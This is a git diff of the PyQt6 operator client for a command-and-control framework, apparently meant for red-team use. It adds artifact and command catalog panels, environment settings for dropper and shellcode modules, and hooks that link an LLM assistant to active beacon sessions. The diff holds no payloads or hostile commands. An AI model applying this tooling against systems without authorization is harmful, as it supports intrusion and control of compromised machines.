diff --git a/C2Client/.env.example b/C2Client/.env.example index a7478d7..f456df8 100644 --- a/C2Client/.env.example +++ b/C2Client/.env.example @@ -1,5 +1,30 @@ # Copy this file to C2Client/.env and adjust local values. # Values already present in the process environment take precedence. +# Relative paths are resolved from the directory containing this .env file. + +# TeamServer connection +C2_IP=127.0.0.1 +C2_PORT=50051 +C2_DEV_MODE=false +C2_CERT_PATH= +C2_USERNAME= +C2_PASSWORD= + +# Generated protocol bindings +C2_PROTOCOL_PYTHON_ROOT= + +# Client UI +C2_UI_THEME=dark +C2_SESSION_REFRESH_MS=2000 +C2_SESSION_STALE_AFTER_MS=30000 +C2_LISTENER_REFRESH_MS=2000 +C2_GRAPH_REFRESH_MS=2000 +C2_LOG_DIR= +C2_LOG_LEVEL=WARNING + +# gRPC +C2_GRPC_CONNECT_TIMEOUT_MS=10000 +C2_GRPC_MAX_MESSAGE_MB=512 # OpenAI provider OPENAI_API_KEY= @@ -16,12 +41,12 @@ C2_ASSISTANT_MEMORY_MODEL=gpt-4.1-mini C2_ASSISTANT_TEMPERATURE=0.05 C2_ASSISTANT_MEMORY_TEMPERATURE=0.05 C2_ASSISTANT_MAX_TOOL_CALLS=10 +C2_ASSISTANT_MAX_ACTIVE_CONTEXT_TOKENS=64000 +C2_ASSISTANT_LOG_SYNTHESIS_PAYLOADS=false C2_ASSISTANT_PENDING_TIMEOUT_MS=120000 -# TeamServer authentication -C2_USERNAME= -C2_PASSWORD= - -# Optional runtime paths -# C2_CERT_PATH=/absolute/path/to/server.crt -# C2_PROTOCOL_PYTHON_ROOT=/absolute/path/to/generated/protocol/python +# Local modules +C2_DROPPER_MODULES_DIR= +C2_DROPPER_MODULES_CONF= +C2_SHELLCODE_MODULES_DIR= +C2_SHELLCODE_MODULES_CONF= diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py new file mode 100644 index 0000000..05ddb16 --- /dev/null +++ b/C2Client/C2Client/ArtifactPanel.py @@ -0,0 +1,449 @@ +from __future__ import annotations + +from pathlib import Path +from typing import Any + +from PyQt6.QtCore import Qt +from PyQt6.QtWidgets import ( + QApplication, + QAbstractItemView, + QComboBox, + QFileDialog, + QHBoxLayout, + QHeaderView, + QLabel, + QLineEdit, + QMessageBox, + QPushButton, + QSizePolicy, + QTableWidget, + QTableWidgetItem, + QVBoxLayout, + QWidget, +) + +from .grpcClient import TeamServerApi_pb2 +from .panel_style import apply_dark_panel_style +from .ui_status import StatusKind, apply_status, compact_message + + +ArtifactTabTitle = "Artifacts" + +ALL_FILTER = "All" +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "hosted", "upload", "download", "minidump", "screenshot"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server"] +ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64"] +RUNTIME_FILTERS = [ALL_FILTER, "native", "file", "python", "powershell", "shell", "cmd", "dotnet", "bof", "shellcode", "text", "archive", "script"] +UPLOAD_PLATFORMS = {"windows", "linux", "any"} +UPLOAD_ARCHS = {"x64", "x86", "arm64", "any"} + +COL_CATEGORY = 0 +COL_NAME = 1 +COL_PLATFORM = 2 +COL_ARCH = 3 +COL_RUNTIME = 4 +COL_FORMAT = 5 +COL_SIZE = 6 +COL_SHA256 = 7 +COL_SOURCE = 8 + + +def _text(value: Any) -> str: + return str(value or "").strip() + + +def _field(artifact: Any, name: str, default: Any = "") -> Any: + return getattr(artifact, name, default) + + +def _short_hash(value: Any, length: int = 12) -> str: + text = _text(value) + if len(text) <= length: + return text + return text[:length] + + +def format_size(size: Any) -> str: + try: + value = int(size) + except (TypeError, ValueError): + return "0 B" + + if value < 0: + value = 0 + + units = ["B", "KB", "MB", "GB"] + size_float = float(value) + unit_index = 0 + while size_float >= 1024 and unit_index < len(units) - 1: + size_float /= 1024 + unit_index += 1 + + if unit_index == 0: + return f"{int(size_float)} B" + return f"{size_float:.1f} {units[unit_index]}" + + +def _upload_filter_value(value: str, allowed: set[str]) -> str: + lowered = _text(value).lower() + if lowered == ALL_FILTER.lower() or lowered not in allowed: + return "any" + return lowered + + +class Artifacts(QWidget): + COLUMN_WIDTHS = [82, 240, 86, 66, 96, 70, 86, 112, 88] + STRETCH_COLUMN = COL_NAME + + def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: + super().__init__(parent) + self.grpcClient = grpcClient + self.artifacts: list[Any] = [] + apply_dark_panel_style(self) + + self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) + + toolbar = QHBoxLayout() + toolbar.setSpacing(6) + + self.categoryFilter = self.createFilter(CATEGORY_FILTERS, "Filter by artifact category.") + self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by target platform.") + self.archFilter = self.createFilter(ARCH_FILTERS, "Filter by target architecture.") + self.runtimeFilter = self.createFilter(RUNTIME_FILTERS, "Filter by runtime or file family.") + self.searchInput = QLineEdit(self) + self.searchInput.setPlaceholderText("Name contains") + self.searchInput.setToolTip("Filter artifacts by name.") + self.searchInput.returnPressed.connect(self.refreshArtifacts) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh artifact catalog.", width=72) + self.refreshButton.clicked.connect(self.refreshArtifacts) + self.uploadButton = self.createToolbarButton("Upload", "Upload a local file to UploadedArtifacts. Current Platform/Arch filters are used when set.", width=72) + self.uploadButton.clicked.connect(self.uploadArtifactFromClient) + self.downloadButton = self.createToolbarButton("Download", "Download selected artifact to a local file.", width=84) + self.downloadButton.clicked.connect(self.downloadSelectedArtifactToClient) + self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) + self.copyIdButton.clicked.connect(self.copySelectedArtifactId) + self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated, hosted, or uploaded artifact.", width=72) + self.deleteButton.clicked.connect(self.deleteSelectedArtifact) + + toolbar.addWidget(QLabel("Category")) + toolbar.addWidget(self.categoryFilter) + toolbar.addWidget(QLabel("Platform")) + toolbar.addWidget(self.platformFilter) + toolbar.addWidget(QLabel("Arch")) + toolbar.addWidget(self.archFilter) + toolbar.addWidget(QLabel("Runtime")) + toolbar.addWidget(self.runtimeFilter) + toolbar.addWidget(self.searchInput, 1) + toolbar.addWidget(self.refreshButton) + toolbar.addWidget(self.uploadButton) + toolbar.addWidget(self.downloadButton) + toolbar.addWidget(self.copyIdButton) + toolbar.addWidget(self.deleteButton) + self.layout.addLayout(toolbar) + + self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel) + + self.artifactTable = QTableWidget(self) + self.artifactTable.setObjectName("C2ArtifactTable") + self.artifactTable.setShowGrid(False) + self.artifactTable.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) + self.artifactTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.artifactTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.artifactTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) + self.artifactTable.setRowCount(0) + self.artifactTable.setColumnCount(len(self.COLUMN_WIDTHS)) + self.artifactTable.verticalHeader().setVisible(False) + self.artifactTable.itemSelectionChanged.connect(self.updateActionButtons) + self.configureTableColumns() + self.layout.addWidget(self.artifactTable, 1) + + self.updateActionButtons() + self.connectFilterSignals() + self.refreshArtifacts() + + def createFilter(self, values: list[str], tooltip: str) -> QComboBox: + combo = QComboBox(self) + combo.addItems(values) + combo.setToolTip(tooltip) + combo.setMinimumWidth(96) + return combo + + def createToolbarButton(self, text: str, tooltip: str, width: int = 58) -> QPushButton: + button = QPushButton(text, self) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self) -> None: + header = self.artifactTable.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(48) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.artifactTable.setColumnWidth(index, width) + + def connectFilterSignals(self) -> None: + for combo in ( + self.categoryFilter, + self.platformFilter, + self.archFilter, + self.runtimeFilter, + ): + combo.currentTextChanged.connect(lambda _value: self.refreshArtifacts()) + + def buildQuery(self) -> Any: + query = TeamServerApi_pb2.ArtifactQuery() + + category = self.categoryFilter.currentText() + if category != ALL_FILTER: + query.category = category + + platform = self.platformFilter.currentText() + if platform != ALL_FILTER: + query.platform = platform + + arch = self.archFilter.currentText() + if arch != ALL_FILTER: + query.arch = arch + + runtime = self.runtimeFilter.currentText() + if runtime != ALL_FILTER: + query.runtime = runtime + + name_contains = self.searchInput.text().strip() + if name_contains: + query.name_contains = name_contains + + return query + + def refreshArtifacts(self) -> None: + try: + self.artifacts = list(self.grpcClient.listArtifacts(self.buildQuery())) + except Exception as exc: + self.artifacts = [] + self.printArtifacts() + apply_status( + self.statusLabel, + f"Artifacts: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + self.printArtifacts() + apply_status( + self.statusLabel, + f"Artifacts: {len(self.artifacts)} item(s)", + StatusKind.SUCCESS, + ) + + def printArtifacts(self) -> None: + self.artifactTable.setRowCount(len(self.artifacts)) + self.artifactTable.setHorizontalHeaderLabels( + ["Category", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] + ) + + for row, artifact in enumerate(self.artifacts): + artifact_id = _text(_field(artifact, "artifact_id")) + full_hash = _text(_field(artifact, "sha256")) + name = _text(_field(artifact, "name")) + display_name = _text(_field(artifact, "display_name")) or name + description = _text(_field(artifact, "description")) + + values = [ + _text(_field(artifact, "category")), + name, + _text(_field(artifact, "platform")), + _text(_field(artifact, "arch")), + _text(_field(artifact, "runtime")), + _text(_field(artifact, "format")), + format_size(_field(artifact, "size", 0)), + _short_hash(full_hash), + _text(_field(artifact, "source")), + ] + + tooltip = "\n".join( + part for part in ( + f"Artifact ID: {artifact_id}" if artifact_id else "", + f"Name: {name}" if name else "", + f"Display: {display_name}" if display_name and display_name != name else "", + f"Source: {_text(_field(artifact, 'source'))}" if _text(_field(artifact, "source")) else "", + f"Size: {format_size(_field(artifact, 'size', 0))}", + f"SHA256: {full_hash}" if full_hash else "", + description, + ) + if part + ) + + for column, value in enumerate(values): + item = QTableWidgetItem(value) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + item.setData(Qt.ItemDataRole.UserRole, artifact_id) + if tooltip: + item.setToolTip(tooltip) + self.artifactTable.setItem(row, column, item) + + self.updateActionButtons() + + def selectedArtifact(self) -> Any | None: + selected_rows = self.artifactTable.selectionModel().selectedRows() if self.artifactTable.selectionModel() else [] + if not selected_rows: + return None + + row = selected_rows[0].row() + if row < 0 or row >= len(self.artifacts): + return None + return self.artifacts[row] + + def selectedArtifactId(self) -> str: + artifact = self.selectedArtifact() + if artifact is None: + return "" + + return _text(_field(artifact, "artifact_id")) + + def isDeletableArtifact(self, artifact: Any | None) -> bool: + if artifact is None: + return False + category = _text(_field(artifact, "category")).lower() + scope = _text(_field(artifact, "scope")).lower() + return scope == "generated" or (category == "upload" and scope == "operator") + + def selectedUploadTarget(self) -> tuple[str, str]: + return ( + _upload_filter_value(self.platformFilter.currentText(), UPLOAD_PLATFORMS), + _upload_filter_value(self.archFilter.currentText(), UPLOAD_ARCHS), + ) + + def copySelectedArtifactId(self) -> None: + artifact_id = self.selectedArtifactId() + if not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + + QApplication.clipboard().setText(artifact_id) + apply_status(self.statusLabel, "Artifacts: artifact ID copied.", StatusKind.SUCCESS) + + def downloadSelectedArtifactToClient(self) -> None: + artifact = self.selectedArtifact() + artifact_id = self.selectedArtifactId() + if artifact is None or not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + + default_name = _text(_field(artifact, "display_name")) or Path(_text(_field(artifact, "name"))).name or artifact_id + destination, _selected_filter = QFileDialog.getSaveFileName( + self, + "Download artifact", + default_name, + "All files (*)", + ) + if not destination: + return + + try: + response = self.grpcClient.downloadArtifact(artifact_id) + except Exception as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "download failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + try: + Path(destination).write_bytes(bytes(getattr(response, "data", b""))) + except OSError as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + apply_status(self.statusLabel, f"Artifacts: downloaded {Path(destination).name}.", StatusKind.SUCCESS) + + def uploadArtifactFromClient(self) -> None: + source, _selected_filter = QFileDialog.getOpenFileName( + self, + "Upload artifact", + "", + "All files (*)", + ) + if not source: + return + + source_path = Path(source) + try: + payload = source_path.read_bytes() + except OSError as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + platform, arch = self.selectedUploadTarget() + try: + response = self.grpcClient.uploadArtifact(source_path.name, payload, platform, arch) + except Exception as exc: + apply_status(self.statusLabel, f"Artifacts: {compact_message(exc, limit=120)}", StatusKind.ERROR) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "upload failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + self.refreshArtifacts() + message = _text(getattr(response, "message", "")) or "uploaded artifact stored" + apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) + + def deleteSelectedArtifact(self) -> None: + artifact = self.selectedArtifact() + artifact_id = self.selectedArtifactId() + if not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + if not self.isDeletableArtifact(artifact): + apply_status(self.statusLabel, "Artifacts: only generated, hosted, or uploaded artifacts can be deleted.", StatusKind.ERROR) + return + + name = _text(_field(artifact, "display_name")) or _text(_field(artifact, "name")) or artifact_id + answer = QMessageBox.question( + self, + "Delete artifact", + f"Delete artifact {name}?", + QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No, + QMessageBox.StandardButton.No, + ) + if answer != QMessageBox.StandardButton.Yes: + return + + try: + response = self.grpcClient.deleteArtifact(artifact_id) + except Exception as exc: + apply_status( + self.statusLabel, + f"Artifacts: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "delete failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + self.refreshArtifacts() + message = _text(getattr(response, "message", "")) or "artifact deleted" + apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) + + def updateActionButtons(self) -> None: + selected_artifact = self.selectedArtifact() + self.copyIdButton.setEnabled(bool(selected_artifact)) + self.downloadButton.setEnabled(bool(selected_artifact)) + self.deleteButton.setEnabled(self.isDeletableArtifact(selected_artifact)) diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index e73cc7b..83e142f 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -1,12 +1,10 @@ import os -from datetime import datetime from threading import Thread, Lock, Semaphore from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal -from PyQt6.QtGui import QFont, QTextCursor, QShortcut +from PyQt6.QtGui import QShortcut from PyQt6.QtWidgets import ( - QLineEdit, QTextBrowser, QVBoxLayout, QWidget, @@ -15,19 +13,36 @@ import markdown from .assistant_agent import C2AssistantAgent +from .console_style import ( + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) +from .autocomplete import CompletionInput +from .env import env_int DEFAULT_PENDING_TOOL_TIMEOUT_MS = 2 * 60 * 1000 +ASSISTANT_COMPLETIONS = [ + ("/help", []), + ("/status", []), + ("/cancel", []), + ("/reset", []), +] +ASSISTANT_HEADER_ROLES = { + "system": ("[system]", "system", False), + "user": ("[user]", "user", False), + "analysis": ("[assistant]", "assistant", False), +} -def _load_pending_tool_timeout_ms(): - value = os.environ.get("C2_ASSISTANT_PENDING_TIMEOUT_MS") - if not value: - return DEFAULT_PENDING_TOOL_TIMEOUT_MS - try: - return max(0, int(value)) - except ValueError: - return DEFAULT_PENDING_TOOL_TIMEOUT_MS +def _load_pending_tool_timeout_ms(): + return env_int( + "C2_ASSISTANT_PENDING_TIMEOUT_MS", + DEFAULT_PENDING_TOOL_TIMEOUT_MS, + minimum=0, + ) # @@ -50,7 +65,7 @@ def __init__(self, parent, grpcClient): # self.logFileName=LogFileName self.editorOutput = QTextBrowser() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) # Force word wrapping self.editorOutput.setLineWrapMode(QTextEdit.LineWrapMode.WidgetWidth) @@ -58,7 +73,8 @@ def __init__(self, parent, grpcClient): self.layout.addWidget(self.editorOutput, 8) self.commandEditor = CommandEditor() - self.layout.addWidget(self.commandEditor, 2) + self.commandEditor.setPlaceholderText("Ask assistant or /help") + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) self.responseReady.connect(self._process_assistant_response) @@ -95,8 +111,16 @@ def sessionAssistantMethod(self, action, beaconHash, listenerHash, hostname, use arch=arch, privilege=privilege, os_name=os, + killed=killed, ) return + + + def setActiveSession(self, beaconHash, listenerHash): + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) def listenerAssistantMethod(self, action, hash, str3, str4): @@ -104,9 +128,21 @@ def listenerAssistantMethod(self, action, hash, str3, str4): def consoleAssistantMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): + if action == "send": + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) + return + if action != "receive": return + self.agent.domain_hooks.record_active_session( + beacon_hash=beaconHash, + listener_hash=listenerHash, + ) + command_text = cmd or "" if isinstance(command_text, bytes): command_text = command_text.decode("latin1", errors="ignore") @@ -178,28 +214,41 @@ def event(self, event): return super().event(event) - def printInTerminal(self, header="", message="", detail=""): - now = datetime.now() - formater = ( - '

' - '['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']' - ' [+] ' - '{}' - '

' - ) - + def printInTerminal(self, header="", message="", detail="", rich_message=False): self.sem.acquire() try: - if header: - self.editorOutput.append(formater.format(header)) - for text in (message, detail): - if text: - self.editorOutput.append(text) + has_entry = bool(header or message or detail) + marker, tone, show_label = self._console_role_for_header(header) + append_console_block( + self.editorOutput, + header, + message, + marker=marker, + tone=tone, + rich_message=rich_message, + show_label=show_label, + ) + if detail: + append_console_block( + self.editorOutput, + "", + detail, + tone=tone, + rich_message=rich_message, + ) + if has_entry: + append_console_spacing(self.editorOutput) self.setCursorEditorAtEnd() finally: self.sem.release() + def _console_role_for_header(self, header): + normalized = str(header or "").strip().rstrip(":").lower() + if normalized in ASSISTANT_HEADER_ROLES: + return ASSISTANT_HEADER_ROLES[normalized] + return "[assistant]", "assistant", True + def runCommand(self): commandLine = self.commandEditor.displayText() @@ -357,7 +406,11 @@ def _agent_resume_worker(self, pending_id, tool_output): def _process_assistant_response(self, message): assistant_reply = getattr(message, "content", "") or "" if assistant_reply: - self.printInTerminal("Analysis:", markdown.markdown(assistant_reply, extensions=["fenced_code", "tables"])) + self.printInTerminal( + "Analysis:", + markdown.markdown(assistant_reply, extensions=["fenced_code", "tables"]), + rich_message=True, + ) if getattr(message, "is_pending", False): metadata = getattr(message, "metadata", {}) or {} @@ -413,45 +466,35 @@ def _handle_assistant_error(self, error_message): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() +class CommandEditor(CompletionInput): cmdHistory = [] idx = 0 def __init__(self, parent=None): - super().__init__(parent) - - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) + super().__init__(parent, completion_data=ASSISTANT_COMPLETIONS) - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self): - cmdHistoryFile = open('.termHistory') - self.cmdHistory = cmdHistoryFile.readlines() - self.idx=len(self.cmdHistory)-1 - cmdHistoryFile.close() + with open(".termHistory", encoding="utf-8") as cmdHistoryFile: + self.cmdHistory = cmdHistoryFile.readlines() + self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() diff --git a/C2Client/C2Client/CommandPanel.py b/C2Client/C2Client/CommandPanel.py new file mode 100644 index 0000000..40688c6 --- /dev/null +++ b/C2Client/C2Client/CommandPanel.py @@ -0,0 +1,286 @@ +from __future__ import annotations + +import html +from typing import Any + +from PyQt6.QtCore import Qt +from PyQt6.QtWidgets import ( + QAbstractItemView, + QComboBox, + QHBoxLayout, + QHeaderView, + QLabel, + QLineEdit, + QPushButton, + QSizePolicy, + QTableWidget, + QTableWidgetItem, + QTextBrowser, + QVBoxLayout, + QWidget, +) + +from .console_style import CONSOLE_COLORS, apply_console_output_style +from .grpcClient import TeamServerApi_pb2 +from .panel_style import apply_dark_panel_style +from .ui_status import StatusKind, apply_status, compact_message + + +CommandTabTitle = "Commands" + +ALL_FILTER = "All" +KIND_FILTERS = [ALL_FILTER, "common", "module"] +TARGET_FILTERS = [ALL_FILTER, "beacon", "teamserver", "operator", "any"] +PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "any"] + +COL_NAME = 0 +COL_KIND = 1 +COL_TARGET = 2 +COL_PLATFORMS = 3 +COL_ARGS = 4 +COL_EXAMPLES = 5 +COL_SOURCE = 6 + + +def _text(value: Any) -> str: + return str(value or "").strip() + + +def _field(value: Any, name: str, default: Any = "") -> Any: + return getattr(value, name, default) + + +def _list_field(value: Any, name: str) -> list[Any]: + field = _field(value, name, []) + try: + return list(field) + except TypeError: + return [] + + +def _join_values(values: list[Any]) -> str: + return ", ".join(_text(value) for value in values if _text(value)) + + +def format_arg_summary(command: Any) -> str: + args = _list_field(command, "args") + if not args: + return "-" + labels = [] + for arg in args: + label = _text(_field(arg, "name")) + arg_type = _text(_field(arg, "type")) + if arg_type: + label += f":{arg_type}" + if not bool(_field(arg, "required", False)): + label = f"[{label}]" + if bool(_field(arg, "variadic", False)): + label += "..." + labels.append(label) + return " ".join(labels) + + +class Commands(QWidget): + COLUMN_WIDTHS = [150, 78, 92, 160, 240, 240, 90] + STRETCH_COLUMN = COL_EXAMPLES + + def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: + super().__init__(parent) + self.grpcClient = grpcClient + self.commands: list[Any] = [] + apply_dark_panel_style(self) + + self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) + + toolbar = QHBoxLayout() + toolbar.setSpacing(6) + + self.kindFilter = self.createFilter(KIND_FILTERS, "Filter by command kind.") + self.targetFilter = self.createFilter(TARGET_FILTERS, "Filter by command target.") + self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by supported platform.") + self.searchInput = QLineEdit(self) + self.searchInput.setPlaceholderText("Name contains") + self.searchInput.setToolTip("Filter commands by name.") + self.searchInput.returnPressed.connect(self.refreshCommands) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh command catalog.", width=72) + self.refreshButton.clicked.connect(self.refreshCommands) + + toolbar.addWidget(QLabel("Kind")) + toolbar.addWidget(self.kindFilter) + toolbar.addWidget(QLabel("Target")) + toolbar.addWidget(self.targetFilter) + toolbar.addWidget(QLabel("Platform")) + toolbar.addWidget(self.platformFilter) + toolbar.addWidget(self.searchInput, 1) + toolbar.addWidget(self.refreshButton) + self.layout.addLayout(toolbar) + + self.statusLabel = QLabel("") + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel) + + self.commandTable = QTableWidget(self) + self.commandTable.setObjectName("C2CommandTable") + self.commandTable.setShowGrid(False) + self.commandTable.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) + self.commandTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.commandTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.commandTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) + self.commandTable.setRowCount(0) + self.commandTable.setColumnCount(7) + self.commandTable.verticalHeader().setVisible(False) + self.commandTable.itemSelectionChanged.connect(self.updateDetails) + self.configureTableColumns() + self.layout.addWidget(self.commandTable, 3) + + self.details = QTextBrowser(self) + apply_console_output_style(self.details) + self.details.setReadOnly(True) + self.layout.addWidget(self.details, 2) + + self.refreshCommands() + + def createFilter(self, values: list[str], tooltip: str) -> QComboBox: + combo = QComboBox(self) + combo.addItems(values) + combo.setToolTip(tooltip) + combo.setMinimumWidth(96) + return combo + + def createToolbarButton(self, text: str, tooltip: str, width: int = 58) -> QPushButton: + button = QPushButton(text, self) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self) -> None: + header = self.commandTable.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(54) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.commandTable.setColumnWidth(index, width) + + def buildQuery(self) -> Any: + query = TeamServerApi_pb2.CommandQuery() + kind = self.kindFilter.currentText() + if kind != ALL_FILTER: + query.kind = kind + target = self.targetFilter.currentText() + if target != ALL_FILTER: + query.target = target + platform = self.platformFilter.currentText() + if platform != ALL_FILTER: + query.platform = platform + name_contains = self.searchInput.text().strip() + if name_contains: + query.name_contains = name_contains + return query + + def refreshCommands(self) -> None: + try: + self.commands = list(self.grpcClient.listCommands(self.buildQuery())) + except Exception as exc: + self.commands = [] + self.printCommands() + apply_status( + self.statusLabel, + f"Commands: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + self.printCommands() + apply_status( + self.statusLabel, + f"Commands: {len(self.commands)} item(s)", + StatusKind.SUCCESS, + ) + + def printCommands(self) -> None: + self.commandTable.setRowCount(len(self.commands)) + self.commandTable.setHorizontalHeaderLabels( + ["Name", "Kind", "Target", "Platforms", "Args", "Examples", "Source"] + ) + + for row, command in enumerate(self.commands): + values = [ + _text(_field(command, "name")), + _text(_field(command, "kind")), + _text(_field(command, "target")), + _join_values(_list_field(command, "platforms")), + format_arg_summary(command), + _join_values(_list_field(command, "examples")), + _text(_field(command, "source")), + ] + tooltip = _text(_field(command, "description")) + + for column, value in enumerate(values): + item = QTableWidgetItem(value) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + item.setData(Qt.ItemDataRole.UserRole, row) + if tooltip: + item.setToolTip(tooltip) + self.commandTable.setItem(row, column, item) + + self.updateDetails() + + def selectedCommand(self) -> Any | None: + selected_rows = self.commandTable.selectionModel().selectedRows() if self.commandTable.selectionModel() else [] + if not selected_rows: + return None + row = selected_rows[0].row() + if row < 0 or row >= len(self.commands): + return None + return self.commands[row] + + def updateDetails(self) -> None: + command = self.selectedCommand() + if command is None: + self.details.setHtml( + f'

Select a command to inspect its spec.

' + ) + return + + parts = [ + f'

{html.escape(_text(_field(command, "name")))}' + f' ({_text(_field(command, "kind"))})

', + f'

{html.escape(_text(_field(command, "description")))}

', + '

' + f'target {html.escape(_text(_field(command, "target")))} ' + f'platforms {html.escape(_join_values(_list_field(command, "platforms")))} ' + f'archs {html.escape(_join_values(_list_field(command, "archs")))}' + '

', + ] + + args = _list_field(command, "args") + if args: + parts.append(f'

args

') + parts.append("") + + examples = _list_field(command, "examples") + if examples: + parts.append(f'

examples

') + parts.append("
")
+            parts.append(html.escape("\n".join(_text(example) for example in examples)))
+            parts.append("
